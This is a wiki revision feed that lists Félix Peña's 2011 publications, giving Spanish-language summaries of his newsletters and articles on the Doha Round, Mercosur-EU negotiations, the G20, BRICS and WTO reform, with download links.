&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-05-sudamerica-competencia-economica-global-del-futuro Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Una oportunidad para impulsar iniciativas viables===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 21 de julio de 2011&lt;br /&gt;
&lt;br /&gt;
Renovar el impulso político, simbolizar el valor estratégico del proyecto común, y brindar el espacio para diálogos francos al más alto nivel, son aportes que se esperan del sistema de Cumbres Presidenciales del Mercosur. En cierta forma son su razón de ser.&lt;br /&gt;
&lt;br /&gt;
Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur. En este segundo semestre del año, es al Presidente del Uruguay a quien le toca entonces la oportunidad de plantear iniciativas que aspiren a lograr el consenso de los otros socios y luego, a penetrar en la realidad.&lt;br /&gt;
&lt;br /&gt;
Pueden ser iniciativas vinculadas a la agenda prioritaria que en este momento tiene el Mercosur (como son, entre otras, las del perfeccionamiento de la unión aduanera, el tratamiento de las asimetrías, la integración productiva, las compras públicas y las negociaciones comerciales externas). O pueden ser iniciativas dirigidas a introducir enfoques e ideas orientados a renovar el proceso de integración, adaptándolo a nuevas realidades globales y regionales.&lt;br /&gt;
En la reciente Cumbre de Asunción, lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas, permite sugerir una visión sobre algunas cuestiones en las que se concentraría el ejercicio de su función temporal de este semestre.&lt;br /&gt;
&lt;br /&gt;
En nuestra interpretación de lo que ha señalizado, es posible destacar tres ejes temáticos que tienen una relevancia especial. No son los únicos, pero sí los que parecen tener una trascendencia mayor.&lt;br /&gt;
&lt;br /&gt;
El primero se refiere a la necesidad de interpretar “la época que nos toca vivir y hacia donde vamos”. Implica un diagnóstico compartido sobre oportunidades y desafíos que plantean a nuestros países algunas tendencias que se están poniendo en evidencia en el escenario internacional. Energía y alimentos, creatividad e innovación, y masa crítica de consumo y producción, son algunos conceptos centrales que parecen nutrir una agenda estratégica conjunta de los países del Mercosur, en un mundo con fuertes desplazamientos del poder económico relativo y de la capacidad para competir a escala global.&lt;br /&gt;
&lt;br /&gt;
El segundo es el institucional. Tiene múltiples desdoblamientos posibles, entre otros los orientados a dotar a los métodos de trabajo de una mayor racionalidad y eficacia. Pero un aspecto prioritario para la inserción en el entorno global, sería poder avanzar en la capacidad de los socios para tener una sola voz en cuestiones relevantes de la agenda externa del Mercosur: ¿quién y por qué puede decir que habla por todos los socios?&lt;br /&gt;
&lt;br /&gt;
Y el tercer eje, quizás el más provocativo, se refiere a la idea de avanzar en modalidades de “democracia digital”. Propuestas orientadas a un Mercosur 2.0, con fuerte énfasis en la transparencia y en el acceso efectivo a toda la información relevante para los ciudadanos, pueden contribuir a acrecentar la credibilidad y legitimidad social del proceso de integración.&lt;br /&gt;
&lt;br /&gt;
===Las deficiencias de un Mercosur con reclas precarias===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 24 de junio de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-06-24-deficiencias-mercosur-reglas-precarias Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2027</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2027"/>
		<updated>2011-08-29T23:02:07Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* NEWSLETTERS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL SISTEMA GATT-OMC EN UN MUNDO DISTINTO AL QUE LE DIO ORIGEN&lt;br /&gt;
Puede esperarse un impulso renovador de la Conferencia Ministerial de Ginebra===&lt;br /&gt;
&lt;br /&gt;
Agosto 2011&lt;br /&gt;
&lt;br /&gt;
La necesidad de profundizar un debate sobre el futuro de la OMC no podría estar ausente de la Conferencia Ministerial de Ginebra en diciembre próximo. Es una ocasión sin igual para dar un impulso renovador a un sistema que tiende a mostrar algunos signos de obsolescencia, tanto en sus agendas como en sus métodos de trabajos. Hay, sin embargo, cierto escepticismo sobre sus posibles resultados. &lt;br /&gt;
&lt;br /&gt;
De una forma u otra, la Ronda Doha estará presente en esta Ministerial. Sea por la posibilidad -que ahora se percibe como remota- de avanzar algunos resultados favorables para los países menos desarrollados. O de enviar señales creíbles sobre su futuro. O por la necesidad de abordar de frente el espectro de una OMC con fuertes riesgos de perder eficacia, relevancia y, finalmente, legitimidad. &lt;br /&gt;
&lt;br /&gt;
Al menos tres preguntas parecen relevantes para el necesario debate sobre el futuro de la OMC. Ellas son: ¿cómo sería posible evitar el colapso definitivo de la Rueda Doha, aunque sea concluyéndola en una versión menos ambiciosa que la prevista originalmente? Si ello no fuera factible ¿cómo podría preservarse a la OMC del eventual impacto negativo que tal colapso tendría sobre su eficacia, credibilidad y relevancia? Y aún en caso de que la Rueda Doha fuera rescatable ¿cómo se podría concentrar energía política e imaginación técnica en el diseño de una nueva etapa de la OMC, que permita capitalizar las experiencias acumuladas, fortalecer sus funciones esenciales, e innovar en su agenda de cuestiones prioritarias, sus métodos de trabajo y sus modalidades negociadoras?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tanto la próxima Cumbre del G20 en Cannes como la Ministerial de la OMC en Ginebra, abren una oportunidad para que regiones organizadas asuman un protagonismo activo en la redefinición de la arquitectura del sistema comercial internacional. En ambas oportunidades, Argentina y Brasil podrían incidir con propuestas en el rescate de la Rueda Doha y en el diseño de la nueva etapa de la OMC. Lo razonable es esperar que coordinen sus posiciones y que, en lo posible, también reflejen los puntos de vista del Mercosur y de la región sudamericana.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-08-sistema-gatt-omc-en-un-mundo-distinto-de-su-origen Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL MERCOSUR EN UN MUNDO DE GRANDES ESPACIOS ECONÓMICOS: Ejes temáticos instalados por el Presidente Mujica, útiles para navegar el futuro===&lt;br /&gt;
&lt;br /&gt;
Julio 2011&lt;br /&gt;
&lt;br /&gt;
¿Podrá ser el Mercosur percibido en el futuro como un espacio económico regional que se exprese con una sola voz -al menos en cuestiones relevantes de la agenda económica internacional, incluyendo las negociaciones comerciales internacionales? ¿Podrá incluso reflejar los intereses de un espacio regional sudamericano más amplio, de concretarse la anunciada incorporación como miembros plenos de países como Bolivia, Ecuador, eventualmente Colombia, además de consumarse la aún pendiente de Venezuela?&lt;br /&gt;
&lt;br /&gt;
Son algunos de los interrogantes que se pueden formular dado el hecho que el espacio regional sudamericano reúne condiciones de una significativa dimensión económica y de una suficiente masa crítica de poder -al menos potencial-, y que dos países de esta región geográfica -Argentina y Brasil- participan hoy del G20, el que aspira a ser un núcleo institucional relevante en la construcción de una nueva arquitectura económica mundial. Pero sobre todo, dado el hecho que aquello que condujo al momento fundacional, fue precisamente la idea estratégica de crear, a través de pasos incrementales, un espacio económico común abierto a la participación de otros países sudamericanos.&lt;br /&gt;
&lt;br /&gt;
Las Cumbres Presidenciales semestrales del Mercosur, brindan una oportunidad para introducir nuevas energías y orientaciones a la construcción del espacio regional de alcance sudamericano. Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur.&lt;br /&gt;
&lt;br /&gt;
Lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas al asumir la presidencia pro-tempore en la reciente Cumbre de Asunción, permite avanzar una visión sobre algunos ejes temáticos en los que se concentraría el ejercicio de su función temporal de este semestre. En nuestra interpretación, tales ejes se refieren a la necesidad de un planteamiento estratégico hacia el futuro acorde con las nuevas realidades mundiales, a una mayor eficacia de las instituciones, y al desarrollo del concepto de &amp;quot;democracia digital&amp;quot;, quizás el salto hacia un Mercosur 2.0 con nuevas formas de participación ciudadana.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-07-mercosur-mundo-grandes-espacios-economicos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===PRESERVAR LO ESENCIAL, FLEXIBILIZAR LO METODOLÓGICO: La adaptación de la OMC, la UE y el Mercosur a nuevas realidades internacionales===&lt;br /&gt;
&lt;br /&gt;
Junio 2011&lt;br /&gt;
&lt;br /&gt;
Se observan signos de stress en algunos de los principales ámbitos institucionalizados de cooperación entre naciones, tanto en el plano global como en el de los distintos espacios geográficos regionales. Recientemente se han puesto en evidencia, por ejemplo, en las notorias dificultades para avanzar en las negociaciones de la Rueda Doha en la OMC; en la creciente inquietud sobre el futuro del euro y sobre cómo continuar con la construcción de la propia UE, y en las controversias comerciales que han actualizado el debate sobre el alcance real de la unión aduanera y sobre la integración automotriz en el Mercosur.&lt;br /&gt;
&lt;br /&gt;
Son signos de stress que parecen resultar de una gradual ampliación de la brecha, entre la realidad internacional en la que se generaron los respectivos ámbitos de cooperación, incluyendo sus actuales objetivos y modalidades operativas y la que se está poniendo en evidencia en los últimos tiempos. En casi dos décadas han cambiado profundamente las condiciones políticas y económicas en las que interactúan las naciones a escala global y en las distintas regiones.&lt;br /&gt;
&lt;br /&gt;
En cada uno de los tres casos los signos de fatiga son más evidentes en el plano de la dimensión metodológica del trabajo conjunto. Se manifiesta en relación a la eficacia de mecanismos y reglas, y en las dificultades para obtener los resultados procurados o, en su lugar, para adoptar decisiones que permitan su adaptación a las nuevas realidades que se confrontan. El riesgo sin embargo es que, con el tiempo, las pérdidas de eficacia terminen impactando en la legitimidad del respectivo ámbito de cooperación multinacional, y que comience a ser percibido por sus países miembros -o por algunos de ellos- como irrelevante o como perjudicial para sus respectivos intereses nacionales. En tal caso, las dificultades serían más graves ya que se referirían a la dimensión existencial del trabajo conjunto, es decir, a la propia razón de ser del emprendimiento cooperativo entre las naciones asociadas.&lt;br /&gt;
&lt;br /&gt;
Superar semejante cuadro de situación requerirá de liderazgo político colectivo entre los principales protagonistas, dirigido a limitar los efectos de la crisis de eficacia, evitando que ellos pasen del plano metodológico al existencial. Para preservar lo esencial, se requerirá flexibilizar lo metodológico.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-06-adaptacion-omc-ue-mercosur Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===EL VALOR DE UNA REGIÓN: Sudamérica en la competencia económica global del futuro===&lt;br /&gt;
&lt;br /&gt;
Mayo 2011&lt;br /&gt;
&lt;br /&gt;
Por lo menos son tres las razones que permiten tener una cautelosa visión optimista sobre el futuro de América Latina. Ellas son: el aprendizaje experimentado en las últimas décadas; las señales claras de un cambio cultural con respecto a lo que se puede lograr en el futuro, y los impactos de las profundas transformaciones que se están operando en el escenario global. Sin embargo, no hay que subestimar las enormes dificultades y desafíos que los países de la región tendrán que superar en los próximos años. De allí la conveniencia de ser prudentes. Se sabe que en un mundo de continuos cambios sistémicos, todo ejercicio prospectivo constituye un juego peligroso. &lt;br /&gt;
&lt;br /&gt;
América Latina es una región heterogénea. Los factores que explican pronósticos optimistas sobre su futuro no tienen similar validez en todos sus países. Pero son visibles en países que son claves por su dimensión y relevancia económica. Y son países con un fuerte potencial para derramar sus eventuales éxitos hacia el resto de la región. Uno de esos países es Brasil.&lt;br /&gt;
&lt;br /&gt;
El valor creciente de la región puede ser ilustrado con la visita que en el mes de marzo pasado el Presidente Obama efectuara a Brasil, Chile y El Salvador. Estuvieron presentes algunas cuestiones que son centrales en la agenda estratégica futura de los Estados Unidos.&lt;br /&gt;
&lt;br /&gt;
Pero si los pronósticos más optimistas sobre la región se fueran confirmando en los próximos años, para potenciar su valor se requerirá avanzar en la articulación de los intereses nacionales de sus países. Es una articulación que sólo puede tornarse viable a través de liderazgos colectivos. La calidad y densidad de la relación de la Argentina con todos los países de la región puede resultar a tal efecto un factor esencial. La alianza estratégica con el Brasil y el propio Mercosur son, al respecto, núcleos duros de la construcción de un espacio geográfico sudamericano en el que la UNASUR está llamada a desempeñar un papel central.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-05-sudamerica-competencia-economica-global-del-futuro Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
